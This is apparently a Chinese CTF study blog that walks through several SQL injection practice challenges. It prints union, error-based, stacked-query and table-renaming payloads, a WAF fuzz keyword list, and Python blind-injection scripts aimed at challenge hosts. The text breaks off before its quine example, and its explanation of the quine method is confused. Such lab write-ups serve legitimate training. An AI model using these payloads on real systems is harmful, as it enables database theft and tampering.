sql注入进阶终级


后面做到的新的题目就补充到这里
回去又看了一下newstar的week3和week4的sql注入的题目,都是盲注的。一开始觉得代码很长,看不懂,现在发现稍微改一点点地方就可以了,不难
这里就将这些问题全部解决一下,这些题目都手动注入一下,这个确实很重要
对着nss的web方向的所有有关sql的标签的题目都给做一下,这样基本问题就不大了
还有就是分析这些题目的一些特征,知道到底要在什么样的情况下用什么的

[SWPUCTF 2021 新生赛]easy_sql

1分
SQL注入报错注入布尔盲注
这里一来在上方或者你看网页源代码告诉你,参数是wllm
很像就是有个单独是id的那种
这里我们先来测试一个?wllm=1

1
2
Your Login name:xxx
Your Password:yyy

这里我们不应该说考虑很多乱七八糟的,接下来就是应该先再1后面加一个单引号
?wllm=1’

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

我们可以通过这里的报错看到很多,比如闭合符这些,也有可能是来判断我们的注入方式
接下来就是我们的注释符,–+,#,%23
这些都是可以的

1
?wllm=1'%23

这里就是又有我们的正常回显
然后开始测试列这些了呗
前面其实已经可以测试我们的这个waf了。可以在分号后面加一个空格,如果是有waf的这些的话就可以得知了
当然站在后面一些的视角,我们也可以知道说,直接fuzz字典跑一下就什么都知道了

1
2
?wllm=1'group by 3%23
?wllm=1'group by 4%23

3正常,4报错
其实我们还可以换一种测试的方式,

1
?wllm=-1'union select 1,2,3%23

上面这个有正常回显

1
2
?wllm=-1'union select 1,2%23
?wllm=-1'union select 1,2,3,4%23

这两个都回显The used SELECT statements have a different number of columns
也是可以测试列数的
当然,可能说union这些注入都有可能被过滤这些,我们需要注意
接下来就是测试我们的数据库,站在现在来看那就直接得到所有的数据库了呗!
information_schema.schemata 是 information_schema 下的一个表,用于列出当前数据库服务器上所有的数据库(schema)名称

1
?wllm=0'union select 1,group_concat(schema_name),3 from information_schema.schemata%23

回显:information_schema,mysql,performance_schema,test,test_db
很多的题目就可以直接在自己的数据库这里拿到flag了,就是将一个有回显的列数换为database(),这样就可以拿到我们的flag了

1
?wllm=-1'union select 1,2,database()%23

这里我们拿到flag的就是在test_db这个数据库里面
接下来就是来拿到我们的表

1
?wllm=0'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

这里加上group_concat,就会回显两个表,没有加上就回显一个表
这里回顾一下几个函数的用法
group_concat:用于一次性输出多个字段或多行数据
table_name:表名
information_schema.tables:包含所有mysql数据库的简要信息,包含两个数据表:tables表名集合表,columns列名集合表
table_schema:table_schema 在 SQL 注入中常用于 筛选特定数据库中的表或字段,它是 information_schema 数据库中 tables 和 columns 表里的一个字段,表示某个表或字段所属的数据库名
回显:Your Password:test_tb,users
接下来就是列名以及拿到flag了

1
?wllm=0'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'--+

这里的’test_db’换为database()也是一样的回显
还有就是,我不要再限定一下库名了,直接是一个表的名字就可以了

1
?wllm=0'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

底层那就是我们在这里直接跳过了库名限制,直接来到表的
回显我们的id和flag

1
?wllm=-2' union select 1,2,group_concat(id,flag) from test_tb--+

还可以换为另外一种标准的数据库用法来拿到我们的flag

1
?wllm=-2' union select 1,2,group_concat(flag) from test_db.test_tb--+

这个也是可以拿到flag的
这道题是最基础的一道sql题目,我觉得我已经讲的非常清楚了,包括很多的底层和各种测试的不同用法

[suctf 2019]EasySQL

1分
堆叠注入SQL注入关键字绕过
首先一进去是一个提交查询的框,我们在这里就需要知道为什么说,我不能使用常规的注入方法,而是要换一种注入的方法
这里我们先输入一个1,然后再在hackbar里面execute一下,这样就可以看到请求的方式是post,请求参数是query
然后就是换个数字来注入一下,回显没有变化
还有就是加一个单引号,看一下他会怎么回显
这里并没有报错,还是一样的回显
那我再提交一下查询,提交的是a这个值,发现没有回显了
我们进行抓包,可以利用关键字进行爆破,可以知道它过滤了什么
我本地长度是510的,就是和or长度一样的,就是被过滤的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
4	handler	200	false	false	510	
5 like 200 false false 510
6 LiKe 200 false false 510
9 sleep 200 false false 510
10 SLEEp 200 false false 510
13 delete 200 false false 510
15 or 200 false false 510
16 oR 200 false false 510
27 insert 200 false false 510
28 insERT 200 false false 510
29 INSERT 200 false false 510
33 INFORMATION 200 false false 510
39 xor 200 false false 510
48 AND 200 false false 510
49 ANd 200 false false 510
57 CREATE 200 false false 510
63 " 200 false false 510
75 union 200 false false 510
76 UNIon 200 false false 510
77 UNION 200 false false 510
78 " 200 false false 510
79 & 200 false false 510
80 && 200 false false 510
82 oorr 200 false false 510
88 anandd 200 false false 510
91 IF 200 false false 510
97 sleep 200 false false 510
98 LIKE 200 false false 510
105 infromation_schema 200 false false 510
107 OR 200 false false 510
108 ORDER 200 false false 510
109 ORD 200 false false 510
115 UNION 200 false false 510
116 UPDATE 200 false false 510
122 WHERE 200 false false 510
124 AND 200 false false 510
125 prepare 200 false false 510
127 update 200 false false 510
128 delete 200 false false 510
129 drop 200 false false 510
136 CREATE 200 false false 510
140 DELETE 200 false false 510
141 DROP 200 false false 510
142 floor 200 false false 510
143 rand() 200 false false 510
144 information_schema.tables 200 false false 510
150 ORD 200 false false 510
152 extractvalue 200 false false 510
153 order 200 false false 510
156 ORDER 200 false false 510
157 OUTFILE 200 false false 510
163 updatexml 200 false false 510
171 format 200 false false 510
174 ord 200 false false 510
176 UPDATE 200 false false 510
181 WHERE 200 false false 510
191 for 200 false false 510
192 BEFORE 200 false false 510
193 REGEXP 200 false false 510
194 RLIKE 200 false false 510
197 SEPARATOR 200 false false 510
198 XOR 200 false false 510
199 CURSOR 200 false false 510
200 FLOOR 200 false false 510
205 from 200 false false 510
213 %22 200 false false 510

有from,update呀等等
由此观之,报错注入,union联合注入,盲注皆不可行,所以我们尝试进行堆叠注入
不是题目直接告诉你用堆叠注入的话,我们应该先试着来看看过滤了什么,再考虑用什么方式来注入
开始试探:这里我就不试探了
爆库:

1
1; show databases;

中间空格无所谓
回显:Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
爆表:1;show tables;
回显:Array ( [0] => 1 ) Array ( [0] => Flag )
输入1有回显,输入0没有回显,abc输入也没有回显
回显的结果:Array ( [0] => 1 )
只有这个(只是常规注入下哦)
或者没有回显
我们由此可以猜测后端代码含有 ||或运算符。
补充:|| 或or 运算符讲解:

select command1 || command2

情况一:若command1为非0数字,则结果为1。

情况二:若command1为0或字母,command2为非0数字,则结果为1。

情况三:command1和command2都不为非0数字,则结果为0。

通过以上分析,我们可以判断后端代码中存在或运算符。

查看本题的后端代码,事实与我们的判断相吻合。

$sql = “select “.$post[‘query’].”||flag from Flag”;
预期解法

1
2
3
4
5
6
7
8
9
方法一:使用 sql_mode 中的 PIPES_AS_CONCAT 函数。

PIPES_AS_CONCAT:将 || 或运算符 转换为 连接字符,即将||前后拼接到一起。

select 1 || flag from Flag的意思将变成 先查询1 再查询 flag,而不是查询1flag,只是查询的结果会拼接到一起,不要弄混淆了。

所以查询语句如下:

1;set sql_mode=PIPES_AS_CONCAT;select 1

最后就可以拿到flag了,这个要么抓包,要么就查看网页源代码

[SWPUCTF 2021 新生赛]error

1分
报错注入SQL注入布尔盲注
这里也是只要我们输入一个id就可以的了
输入1
回显:id:1没有提示………..
加上一个分号,原来显示的没有提示,现在就开始在报错了

1
?id=1'%23

输入这个,得到了闭合符和我们的注释符,但是这里的只是有没有提示这样的回显,不是把具体的数据给你回显出来的那种
单引号后面加一个空格,发现这里没有报错

1
2
?id=1' group by 3%23
?id=1' group by 4%23

这里的3正常,4开始报错,可以得知列数

1
?id=-1'union select 1,2,3%23

回显的是没有提示
这里我们就知道(还有结合题目),要使用报错注入来解决这个问题
主要就是它不是什么回显都没有,它在报错,我们就可以利用这个来进行注入
报错注入
查库名:

1
-1'and(select extractvalue(1,concat('~',(select database()))))#

查表名:

1
-1'and(select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))))#

列名:

1
-1'and(select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="test_tb" and table_schema='test_db'))))#

flag

1
2
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31)))))#
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 31 , 60)))))#

这里用union select也是可以的
我展示一下用法,具体思路除了一点点函数不同其他基本和常规注入是一样的
爆库:XPATH syntax error: ‘~test_db’
这里也可以爆一下所有的数据库名

1
-1'union select(select extractvalue(1,concat('~',(select database()))))#

就是将and改为union select就可以的
还有就是这里的substr也可以换成mid的

注意一下这个的格式
还可以这个格式

1
-1' and 1=extractvalue(1,concat(0x7e,(select group_concat(id,‘~’,flag) from test_tb)))#

还可以用另外一个函数:

1
2
3
4
5
6
7
1' order by 4--+#爆字段
1' and updatexml(1,concat(0x7e,database(),0x7e),3)--+#爆库
test_db
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test_db',0x7e limit 0,1),3)--+#爆表
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb',0x7e limit 0,1),3)--+#爆列
1' and updatexml(1,concat(0x7e,(select flag from test_tb,0x7e limit 0,1),3)--+#提取flag
#用mid或reverse函数都可以提取完整flag

上面是人家的wp,要稍微做一些修改

1
-1' and updatexml(1,concat(0x7e,database(),0x7e),3)#

这个就爆库成功了
和我们的常规的注入的差别并不是很大,注意知道什么时候使用就基本没有太大的问题了

[SWPUCTF 2021 新生赛]sql

1分
空格绕过关键字绕过SQL注入
这个就是我们的杰哥的那道题目的升级版本,就是多一些waf。
我们可以fuzz,我这里来手动地一个个注入,看一下有哪些被过滤了

1
?wllm=1'%23

得到闭合符和注释符
我在引号后面加上了一个空格,这里就弹waf警告了

1
?wllm=1'/**/%23

这个就没有再给我们弹waf了

1
2
?wllm=1'group/**/by/**/3%23
?wllm=1'group/**/by/**/4%23

这里3正常回显,4报错

1
?wllm=-1'union/**/select/**/1,2,database()%23

这个就可以给我们回显数据库地名称了:test_db
然后就是爆表

1
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/='test_db'%23

这个是我们仅考虑了空格过滤的一种情况,还有就是我们需要考虑=,可以换为like

1
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like'test_db'%23

回显:LTLT_flag,users
flag应该就是在我们的LTLT_flag这张表里面

1
?wllm=0'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23

拿到列名:id,flag
这道题我刚才测试了一下,就是过滤了and
我试着饶一下
And 和or 过滤绕过:
1.使用大小写绕过anD
2.复写过滤绕过:?Id=1 ‘anandd 1=1 –+
3.用&&取代and,用||取代or
可以用%26代替&

1
?wllm=0'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'/**/%26%26/**/table_name/**/like/**/'LTLT_flag'%23

所以这个也可以拿到列名
最后来拿到flag,这个最后只是拿到一部分的flag

1
?wllm=-2'/**/union/**/select/**/1,2,group_concat(id,flag)/**/from/**/LTLT_flag%23

回显是这个:1NSSCTF{d5a1e65d-8de
我们接下来就要借助长度方面的一些知识来帮助我们来那道flag了
用的最常见的是两种:substr和mid
mid的用法如下:

1
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23

substr的用法大概如下

1
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31)))))#

用法基本是一样的
对于limit的用法我们知道说是多行的结果,我们一条一条限制出来就可以了,但是这里的明显是长度的限制

[LitCTF 2023]这是什么?SQL !注一下 !

1分
SQL注入布尔盲注时间盲注
题目描述
为了安全起见多带了几个套罢了o(////▽////)q
出题人 探姬
这里是get传一个id=
然后我们输入一个1,回显的是它的这个注入语句和结果

1
2
3
SELECT username,password FROM users WHERE id = ((((((1))))))

Array ( [0] => Array ( [username] => tanji [password] => OHHHHHHH ) )

输入

1
?id=1))))))%23

得到正常的回显,知道闭合符和注释符

1
?id=1))))))group by 2%23

3没有正常回显,但是2有

1
?id=1))))))union select 1,database()%23

这里可以回显我们当前的数据库
我们要回显所有的数据库

1
?id=-1))))))union select 1,group_concat(schema_name) from information_schema.schemata%23

回显:Array ( [0] => Array ( [username] => 1 [password] => information_schema,mysql,ctftraining,performance_schema,test,ctf
flag在我们的ctftraining里面
爆表:

1
?id=-1))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'%23

回显:Array ( [0] => Array ( [username] => 1 [password] => flag,news,users ) )
爆列

1
?id=-1))))))union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'%23

回显:Array ( [0] => Array ( [username] => 1 [password] => flag )
来拿flag

1
?id=-1)))))) union select flag,2 from ctftraining.flag%23

这里指定了库和表,又没有啥waf,所以来拿flag基本没有什么太大的问题

[强网杯 2019]随便注

1分
堆叠注入关键字绕过SQL注入
一进去显示:
取材于某次真实环境渗透,只说一句话:开发和安全缺一不可
一进去,有个提交查询的框,输入一个1后来到hackbar

1
http://node4.anna.nssctf.cn:28968/?inject=1

如下得知闭合符和注释符

1
?inject=1'%23

在引号后面加上一个空格,没有报错

1
2
?inject=1'group by 2%23
?inject=1'group by 3%23

2正常回显,3报错

1
?inject=-1'union select 1,2%23

这里我们开始测试,这里都还没有问题,然后将2换为我们的database()
报错:return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);
我们就要想能不能绕select这个呗!但是看wp发现这些解法都是不可以的
题目暗示你了是sql注入,还有就是源码告诉你sqlmap是没有灵魂的,知道考察的方面
这里我们的1’;或者1’#的这个可以得到闭合符
因为要堆叠注入,所以我们就要用;
1’;show tables;
使用mysql的show命令可以查看数据库,表,字段等信息
这个可以爆库,也是第一次见这种情况

1
2
3
4
5
6
7
8
9
array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

有两个表
使用show命令来查看表中的字段,注意表名要用反引号包裹,payload

1
0';show columns from `1919810931114514`;

words也可以用这个,查words也是用反引号
回显:
array(6) {
[0]=>
string(4) “flag”
[1]=>
string(12) “varchar(100)”
[2]=>
string(2) “NO”
[3]=>
string(0) “”
[4]=>
NULL
[5]=>
string(0) “”
}
后面的还可以再加一个–a,应该是起注释作用
使用handler查看表中的数据,需要注意的是,表名如果是数字,则需要用反引号包裹起来

1
0';handler `1919810931114514` open;handler `1919810931114514` read first; -- a

handler语句不具有select语句的所有功能。他是mysql专用的语句,并没有包含到标准的sql语句中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)[ WHERE where_condition ] [LIMIT … ]

HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT … ]

HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT … ]

HANDLER tbl_name CLOSE

handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名

handler yunensec read first; #读取指定表/句柄的首行数据

handler yunensec read next; #读取指定表/句柄的下一行数据

handler yunensec read next; #读取指定表/句柄的下一行数据



handler yunensec close; #关闭句柄

1’;
handler tablename open;
handler tablename read first #

补充一下其他的做法,这道题还得是做一下相关的题目才可以慢慢熟悉一下
由show的作用可知,words表内就两个字段,一个叫id,一个叫data。

并且可以得知,该题作者在页面就查了这两个字段的内容,由于该题禁用select,因此我们可以用作者原本设定的查表函数来帮我们查我们想要查找的内容。因此我们对表进行改名:

用rename把words表改名为其他的表名,把 1919810931114514表的名字改为words,给words表添加新的列名id,将flag改名为data。

构造payload如下

1
2
http://4a74d507-bd81-4639-8579-82aebaf359cb.node4.buuoj.cn:81/?inject=1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);

补充一下alter

1
2
3
4
5
6
7
//alter可以修改已知表的列
alter table "table_name" add "column_name" type;//添加一个列
alter table "table_name" drop "column_name" type;//删除一个列
alter table "table_name" alter column "column_name" type;//改变列的数据类型
alter table "table_name" change "column1" "column2" type;//改列名
alter table "table_name" rename "column1" to "column2";//改列名

看了上面的,其实我是没有弄懂的,只是一个冰冷的paylaod
换一个可以理解的wp来慢慢研究一下
前置知识:alter

1
2
修改表名 alter table 表名 rename 新表名;
修改字段名 alter table 表名 change 旧字段名 新字段名 类型;

我们首先通过1’,发现报错说明是字符型单引号
这里应该是我们发现waf,且绕不过,再加上题目的提示,有堆叠注入
获取到所有的表

1
1';show+tables;#

回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
<br><hr>array(1) {
[0]=>
string(16) "1919810931114514"
}
<br>array(1) {
[0]=>
string(5) "words"
}

然后用下面这个获取到表中的字段名

1
2
1';show+columns+from+words;#
1';show+columns+from+`1919810931114514`;#

注意这里的反引号
通过观察 words表单有两列, 也就是上面的 1 和 hahahah
我们可以推测 这个表单其实是从words表中以id字段为索引获取到内容 然后返回到前台
并且后台的查询语句为

1
"select * from words where id='".$_GET['inject']."'"

那么 我们是不是可以通过修改带flag字段的表的名字为words表 然后把flag 字段修改为id
通过三条alter语句来修改

1
2
3
4
5
6
7
修改words表名为其他的
alter table words rename words1;
修改1919810931114514表名为words
alter table 1919810931114514 rename words;
修改新的words表中的flag列名为id
alter table words change flag id varchar(60);
得到最终payload 1';alter table words rename words1;alter table 1919810931114514 rename words;alter table words change flag id varchar(60);#

发现新的id列中的值已经变为flag了,所以查询inject=1查不到
我们可以通过where条件为正查出来所有数据

1
1' or '1'='1

这样就可以获取到flag值
同时,我三次修改可以放在同一个与距离,分号隔开就可以了

[SWPUCTF 2022 新生赛]ez_sql

1分
SQL注入关键字绕过POST注入
这里也是非常基础的sql,waf也不算多吧
nss=1’%23
得到闭合符和注释符
这里我不知道waf了什么,但是我group by呀等等都不行,union select这些也是不可以的,但是引号后面加上空格是没有给我报错的
我们在这里fuzz字典来跑一下,但是这里前面不是我一点点的手的测试都是失败的,fuzz没有什么用,同时跑了一下全是200的状态码
我们这里注意一下回显

1
2
3
Flag: NSSCTF{This_1s_F4ke_flag}

This is true flag: NSSCTF{Ar3_y0u_K1ngd1ng}

有两个,加上我们的id应该是三行
不对,不对
我们其实在上面的时候有一个小细节并没有处理的很好,有一个思路方面的细节没有处理好

1
nss=1' group by 3%23

这里我们是先在分号后面加上空格,然后没有报错
我们来接着试上面那个,发现报错了:to use near ‘groupby3#’ LIMIT 0,1’ at line 1
你看,报错这里全部都给你删了,是没有报错的

1
2
nss=1'/**/group/**/by/**/3%23
nss=1'/**/group/**/by/**/4%23

3没有问题,4开始报错了

1
nss=-1'union/**/select/**/1,2,3%23

报错:’select/**/1,2,3#’ LIMIT 0,1’ at line 1
我们可以看这个报错的信息,发现union没有了
双写可以绕过这个union

1
nss=-1'ununionion/**/select/**/1,database(),3%23

接下来这个我发现。你怎么注入好像都是没有正常回显的
我也去抓包了,确实是没有给我们想要的回显
不过这道题目有些bug,我在bp里面换了一种方式,成功回显了,还得要看看源码

1
nss=nss=-1'ununionion/**/select/**/1,database(),3%23

回显:
Flag: NSS_db

This is true flag: 3

1
nss=-1'ununionion/**/select/**/1,2,database()/**/limit/**/1,1%23
没有limit,什么都没有回显,为什么? 数据库返回了多条记录(比如原始数据 + 注入数据) 前端只渲染了第2条或某条固定位置的记录 我觉得这是比较好的解释,那个假的flag一直都在被渲染 这里明显是一条一条的,就不用substr了 我想试着用substr或者group_concat发现不行 报错:The used SELECT statements have a different number of columns
1
2
http://node4.anna.nssctf.cn:28480/index.php
post:id=1
id=1'这个没有任何变化 返回了这个:SQL Injection Checked. 发现id=or时,回显是bool(false) 后面再看了看,1'不是没有回显,在hackbar里面有bool(false)这个回显 但是再在后面加上--+或者#或者%23这些的时候,都会显示waf的提示 这里必须要用到我们的fuzz字典,大概就是这个了,不是非常完美
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
length 
LENGTH
+
handler
like
LIKE
select
SeleCT
SELECT
SLEEP
sleep
SLEEp
database
DATABASe
delete
having
or
oorr
oR
as
As
-~
BENCHMARK
limit
LimIt
left
Left
select
SELECT
insert
insERT
INSERT
right
#
--+
INFORMATION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
ANd
anandd
BY
By
CAST
COLUMN
COlumn
COUNT
Count
CREATE
END
case
'1'='1
when
admin'
"
length
+
REVERSE

ascii
ASSIC
ASSic
select
database
left
right
union
uniunionon
UNIon
UNION
"
&
&&
||
oorr
/
//
//*
*/*
/**/
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SELECT
SET
TABLE
THEN
UNION
UPDATE
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
update
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
rand()
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
LIMIT
ORD
ON
extractvalue
order
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SELECT
SET
updatexml
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
ord

UPDATE
VALUES
VARCHAR
VERSION
WHEN
WHERE
/*
`

,
users
%0a
%0A
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
sys schemma
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
%27
%23
%22
%20
%26
/**/
这里我再重新编辑一下,以便更加适合自己的使用 发现有select,from,括号没有被过滤 我们可以用括号绕过空格
1
id=(select(ascii(substr(flag,1,1))=78)from(flag))
因为题目给了flag位置,我们截取flag列第一个字段,将其ascii码值与78比较(78是’N’),如果值为1则页面返回正常 脚本如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests#引用这个库,没有太多多说的
# 网站路径
url = "http://node4.anna.nssctf.cn:28480/"
# 枚举字符的payload
payload_str = "(select(ascii(substr(flag,{l},1))={n})from(flag))"
# post请求参数
data= {"id":payload_str}
# 枚举字符

flag = ''
# 从第一个字符开始截取
for i in range(1,100):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["id"] = payload_str.format(l=i, n=n)#format这个就是占位符的相关作用
#这个是字典的用法,稍微注意一下就可以了
response = requests.post(url=url, data=data)
if 'Hello' in response.text:#后面接的.text就可以得到相应的响应文本
flag += chr(n)#这个chr的意思就是将我们的ascii的变为我们需要的payload写入
print(flag)
break
if flag[-1] == '}':
break
这道题主要是注意一下这个payload就基本就没有太大的问题了 # [第五空间 2021]yet_another_mysql_injection 1分 SQL注入quine注入布尔盲注 进去要账号密码登陆,里面有 我们访问这个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>
通过这段代码可以知道,我们需要传入username和password两个值,然后在经过password检验的时候会到达checkSql函数,而且这个函数过滤掉了大部分常用的sql注入关键词 关键
1
2
3
\$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
所以我们的目的就是找到admin对应的password

虽然checkSql已经过滤掉了大部分的关键词,但是like /**/ ‘ %都没有被过滤,可以编写脚本爆破密码 ,我这里直接找了一个师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import string
import time
url="http://node4.anna.nssctf.cn:28213/index.php"
flag=""
for a in range(1,50):
for i in string.printable:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
rsp=requests.post(url,data=data)
time.sleep(0.1)
if "something wrong" not in rsp.text:
flag+=i
print(flag)
break

本题考察的是quine方法
quine方法

Quine 方法是一种用于绕过基于白名单(whitelist)的 SQL 注入防御措施的技术方法。白名单是一种更安全的防御措施,它会检查用户输入中是否包含一些特定的字符或字符串,并只允许这些字符或字符串被用于查询。这样可以防止一些恶意的操作和语句被执行。
Quine 方法是通过构造一些特殊的查询语句来绕过这种白名单防御措施。例如,在执行查询时,攻击者可以构造以下语句来绕过白名单:

1
SELECT column_name FROM information_schema.columns WHERE table_name='users' AND column_name LIKE 0x2575716572795f646574656374

在这个语句中,攻击者使用了 HEX 编码来表示 LIKE 运算符右侧的字符串,这个字符串实际上是 “unique_detect” 的 HEX 编码。由于白名单只允许使用特定的字符或字符串,而不允许使用特定的运算符或操作,因此攻击者可以使用这种方法来绕过白名单的限制,从而执行恶意的操作。
还有一种方式就是我们可以尝试扫目录,然后有/phpmyadmin路由
然后admin和admin进去,里面有密码,最后拿到flag
这里我试了发现我一开始可以,后面又不可以了
这里有一个脚本来测试密码,直接来拿到我们的密码,但是有一个小的细节需要我们来注意
就是你尝试登陆了一次,http://node4.anna.nssctf.cn:28758/会变成http://node4.anna.nssctf.cn:28758/index.php.但是在脚本里,http://node4.anna.nssctf.cn:28758/index.php这个跑步出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://node4.anna.nssctf.cn:28758/"
flag = ""
while True:
for i in alp:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
resp = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in resp.text:
flag+=i
print(flag)
break
elif "~" in i:
return
get_pass()

这个脚本是利用有的关键的地方没有过滤达到的,不是比较经典这种题目的做法

方法三:也是就quine注入的解法

这里有一个大佬写的文章,可以参考一下:https://www.anquanke.com/post/id/253570
其实如果直接看这道题其实给出了所使用的sql语句,在语句中给出了表user,包括黑名单也在checkSql中都已经给出了,那么按理看这不是一个困难的注入,可以当成一个简单的盲注。通过使用like替换=,benchmark(或者其他笛卡儿积等)替换sleep,mid替换substr,/**/替换Space,使用如下paload即可完成:

1
union select if((select ascii(mid((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema like database()),{},1)) like {}),(select benchmark(4999999,md5('test'))),1)#

但是很遗憾,这样注出来user表中没有密码。

如果仔细看题目中这个比较判断的逻辑,我们就可以发现端倪。

1
2
3
4
5
6
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);

if ($row['password'] === $password) {
die($FLAG);

简单来看,要求的是执行$sql的结果与$password相同,那么除了正常逻辑的密码相同会产生相等,如果我们的输入与最后的结果相等,那么一样可以绕过验证。这种技术就是Quine
从payload来理解quine
示例payload:

1
